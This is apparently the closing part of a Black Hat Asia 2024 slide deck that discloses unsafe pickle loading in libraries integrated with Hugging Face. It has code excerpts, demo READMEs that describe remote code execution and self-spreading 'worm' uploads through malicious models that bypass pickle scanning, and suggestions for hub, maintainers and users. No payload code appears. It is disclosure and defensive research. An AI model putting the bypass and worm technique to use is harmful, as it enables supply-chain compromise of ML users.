106     parser.add_argument("--orga", "--organization", help="Huggingface hub organization", default="sb3")
107     parser.add_argument("--name", "--repo-name", help="Huggingface hub repository name, by default 'algo-env-id'")
108     parser.add_argument("--algo", help="RL Algorithm", type=str, required=True, choices=list(ALGOS.keys()))
109     parser.add_argument("--exp-id", help="Experiment ID (default: 0: latest, -1: no exp folder)", default=0, type=int)
110     parser.add_argument("--verbose", help="Verbose mode (0: no output, 1: INFO)", default=1, type=int)
111     parser.add_argument("--force", action="store_true", default=False, help="Allow overwriting exp folder if it already exist")
112
113     args = parser.parse_args()
114
115     download_from_hub(
116         algo=args.algo,
117         env_name=args.env,
118         exp_id=args.exp_id,
119         folder=args.folder,
120         organization=args.organization,
121         repo_name=args.repo_name,
122         force=args.force,
123     )
124

```

[18] https://github.com/DLR-RM/rl-baselines3-zoo/blob/v2.1.0/rl_zoo3/enjoy.py

```

278 if __name__ == "__main__":
279     enjoy()
280
281 import rl_zoo3 import_envs # noqa: F401 pylint: disable=unused-import
282 from rl_zoo3 import ALGOS, create_test_env, get_saved_hyperparams
283 from rl_zoo3.exp_manager import ExperimentManager
284 from rl_zoo3.load_from_hub import download_from_hub
285 from rl_zoo3.utils import StoreDict, get_model_path
286
287 Antonin RAFFIN +1
288
289 def enjoy() -> None: # noqa: C901
290     parser = argparse.ArgumentParser()
291     parser.add_argument("--env", help="environment ID", type=EnvironmentName, default="CartPole-v1")
292     parser.add_argument("-f", "--folder", help="Log folder", type=str, default="rl-trained-agents")
293     parser.add_argument("--algo", help="RL Algorithm", default="ppo", type=str, required=False, choices=list(ALGOS.keys()))
294     parser.add_argument("-n", "--n-timesteps", help="number of timesteps", default=1000, type=int)
295
296     model = ALGOS[algo].load(model_path, custom_objects=custom_objects, device=args.device, **kwargs)
297     obs = env.reset()

```

[19] https://github.com/DLR-RM/stable-baselines3/blob/v2.1.0/stable_baselines3/common/base_class.py | on_policy_algorithm.py | save_util.py

Demo 3: a2c in sb3 – Bypass Trick



[zbrent/a2c-LunarLander-v2/a2c-LunarLander-v2.zip](#)

- _stable_baselines3_version
- data
- policy.optimizer.pth
- policy.pth
- pytorch_variables.pth
- system_info.txt



The screenshot shows the Hugging Face Model Hub interface for the 'a2c-LunarLander-v2' model card. The top navigation bar includes links for Reinforcement Learning, Stable-Baselines3, LunarLander-v2, and deep-reinforcement-learning. Below the navigation is a header with tabs for Model card, Files and versions (which is selected), Community, and Settings. A dropdown menu indicates the current branch is 'main'. The main content area displays the following files and their details:

File	Description	Size	LFS
.gitattributes		1.22 kB	
README.md		1.81 kB	
a2c-LunarLander-v2.zip	(pickle)	107 kB	
args.yml		878 Bytes	
config.yml		242 Bytes	
env_kwargs.yml		3 Bytes	
replay.mp4		198 kB	
results.json		157 Bytes	
train_eval_metrics.zip	(pickle)	27.8 kB	

Display in white
No alert

Demo 3: a2c in sb3 – How to



<https://huggingface.co/zpbrent/a2c-LunarLander-v2>

The screenshot shows the Hugging Face model card for 'zpbrent/a2c-LunarLander-v2'. The card includes sections for 'Model card', 'A2C Agent playing LunarLander-v2', 'Usage (with SB3 RL Zoo)', and 'Downloads last month' (63). It also features a 'Video Preview' showing a Lunar Lander agent landing on the moon. A red dashed arrow points from the 'Usage (with SB3 RL Zoo)' section to a terminal window on the right.

A2C Agent playing LunarLander-v2

This is a trained model of a A2C agent playing `LunarLander-v2` using the [stable-baselines3](#) library and the [RL Zoo](#).

The RL Zoo is a training framework for Stable Baselines3 reinforcement learning agents, with hyperparameter optimization and pre-trained agents included.

Usage (with SB3 RL Zoo)

RL Zoo: <https://github.com/DLR-RM/rl-baselines3-zoo>
SB3: <https://github.com/DLR-RM/stable-baselines3>
SB3 Contrib: <https://github.com/Stable-Baselines-Team/stable-baselines3-contrib>

```
# Download model and save it into the logs/ folder
python -m rl_zoo3.load_from_hub --algo a2c --env LunarLander-v2 -orga zpbrent -f
python -m rl_zoo3.enjoy --algo a2c --env LunarLander-v2 -f logs/
```

A terminal window displays two command-line instructions:

```
$ python -m rl_zoo3.load_from_hub --algo a2c --env LunarLander-v2 -orga zpbrent -f logs/
$ python -m rl_zoo3.enjoy --algo a2c --env LunarLander-v2 -f logs/
```



Public upon request

Video 1: Demo 1 - RagRetriever

```
pzhou@hf-worm-demo:~/BlackHatAisa-2024/hf-exploit/RagRetriever/demo$ cat README
This demos how to exploit unsafe pickle.load from RagRetriever models for reversed RCE and even worm infection over huggingface platform
I
1), we have an attacker huggingface account "zpbrent" and a victim one "pzhoutest"

2), the attacker "zpbrent" deploys a malicious RagRetriever model "zpbrent/RagRetriever" for phishing. Note that the huggingface performs a pickle scanning to detect "unsafe file" for malicious pickle files, such as the malicious repo deployed at "zpbrent/RagReuse". However, our phishing model "zpbrent/RagRetriever" can completely bypass this scanning using the trick "Config Redirect"

3), the victim "pzhoutest" do not have the RagRetriever model "pzhoutest/RagRetriever" before being attacked, and also no "HACKED" and "HACKED-2" files in the disk

4), for reversed RCE, the pre-requisite is the victim "pzhoutest" has been attracted by the pretrained model deployed at repo "zpbrent/RagRetriever".
4.1), s/he finds this repo nothing "unsafe" and thus downloads this pretrained model using huggingface's official from_pretrained function RagRetriever.from_pretrained("zpbrent/RagRetriever")
4.1), the victim observes the model downloading complete
4.3), but meanwhile the "HACKED" and "HACKED-2" files have been illegally created in the disk (meaning the success of reversed RCE)

5), for worm infection, an additional pre-requisite is the victim "pzhoutest" has readily logged in huggingface with a written permission (huggingface-cli login --token xxx) when running the official from_pretrained function for downloading
5.1), a new repo "pzhoutest/RagRetriever" has been implicitly created and uploaded in victim "pzhoutest"'s account, with the same contents of "zpbrent/RagRetriever" (meaning the success of worm infection)
pzhou@hf-worm-demo:~/BlackHatAisa-2024/hf-exploit/RagRetriever/demo$ █
```

Video 2: Demo 2 – paddle/ErnieTiny

```
pzhou@hf-worm-demo:~/demo$ cat README
This demos ihow to exploit unsafe pickle.load from PaddleNLP models for reversed RCE and even worm infection over huggingface platform

1), we have an attacker huggingface account "zpbrent" and a victim one "pzhoutest"


2), the attacker "zpbrent" deploys a malicious PaddleNLP model "zpbrent/PaddleNLP-ErnieTiny" for phishing. Note that the huggingface performs a pickle scanning to alert "unsafe file" for malicious pickle files, such as "zpbrent/reuse". But our phishing model "zpbrent/PaddleNLP-ErnieTiny" can bypass this scanning without trigger the unsafe file alert

3), the victim "pzhoutest" do not have the PaddleNLP model "pzhoutest/PaddleNLP-ErnieTiny" before being attacked, and also no "HACKED" file in the disk

4), for reversed RCE, the pre-requisite is the victim "pzhoutest" has been attracted by the pretrained model deployed at repo "zpbrent/PaddleNLP-ErnieTiny".
4.1), s/he finds this repo nothing "unsafe" and thus downloads this pretrained model using huggingface's official from_pretrained function ErnieTinyTokenizer.from_pretrained("zpbrent/PaddleNLP-ErnieTiny", from_hf_hub=True)
then:
4.2), the victim observes the model downloading complete
4.3), but meanwhile a "HACKED" file has been illegally created in the disk (meaning the success of reversed RCE)

5), for worm infection, an additional pre-requisite is the victim "pzhoutest" has readily logged in huggingface with a written permission (huggingface-cli login --token xxx) when running the official from_pretrained function for downloading
5.1), a new repo "pzhoutest/PaddleNLP-ErnieTiny" has been implicitly created and uploaded in victim "pzhoutest"'s account, with the same contents of "zpbrent/PaddleNLP-ErnieTiny" (meaning the success of worm infection)
pzhou@hf-worm-demo:~/demo$
```

Video 3: Demo 3 – a2c in sb3



A screenshot of a terminal window titled "Terminal". The title bar shows the path: "pzhou@hf-worm-demo: ~/BlackHatAisa-2024/hf-exploit/stable-baseline3/demo". The main area of the terminal displays the command "cat README" followed by a single character 'I' on a new line. The terminal has a dark background with light-colored text.

```
pzhou@hf-worm-demo:~/BlackHatAisa-2024/hf-exploit/stable-baseline3/demo$ cat README
I
```

Takeaway



Third-Party
Maintainers

Hugging Face Hub



Takeaway




Hugging Face Hub

Who should take the responsibility?


Third-Party
Maintainers

End Users



Takeaway

Hi! The reporter uses one of our methods that loads a pickle file, passes it as a malicious pickle file, and then reports that it loads the file. We recommend using the safetensors format instead. Thanks!




We consider this falls under a supply chain attack on the Huggingface platform.
Huggingface should take responsibility for mitigating this phishing attack and
filter the malicious pickle files. The use of `pickle.load` itself is not a security
issue in our scope. Users should always download and execute trusted models.

Takeaway



Hugging Face Hub



Third-Party
Maintainers

Who should take the
responsibility?

End Users



Takeaway

For Hugging Face:

1. Move orange to the black list and add white list by careful review;
2. Disable the automatic download of detected unsafe pickle files;
3. Review third-party libraries before integration.




Some Suggestions

Takeaway

For Third-Party Maintainers:

1. Better to not use unsafe pickle.load(s) functions;
2. If pickle.load(s) necessary, white list the inputs.



Some Suggestions

Takeaway

For End Users:

1. Is it possible for all the AI scientists become security experts ?
2. If not, I believe the trust may take minimal effective ☺



Some Suggestions

Black Hat Byte Sounds

For the hub:

Refining the pickle scanning and **blocking the automatic downloading** for the detected unsafe files rather than only alerting them.

For third-party maintainers:

White listing safe modules as the Pytorch did, in case the use of raw pickle.load(s) is necessary.

For model users:

Running the pre-trained models in **sandbox** environments.



Thank You

We make our demo HF repos public upon request!

Peng Zhou (zpbrent@gmail.com)
Shanghai University

Summary

1. We find the widespread abuse of unsafe pickle.loads across the integrated ML libraries in Hugging Face (HF) Hub.
2. We disclose kinds of novel tricks to bypass the pickle scanning and thereby enable HF to host malicious pickle files without triggering any/visible alerts.
3. We show how easily it is to exploit some of these unsafe loads for reversed RCE via HF's official usages, and more severely, exhibit the potential to abuse HF as an evil weapon for delivering and propagating pickle malware over ML communities.

Back-up slide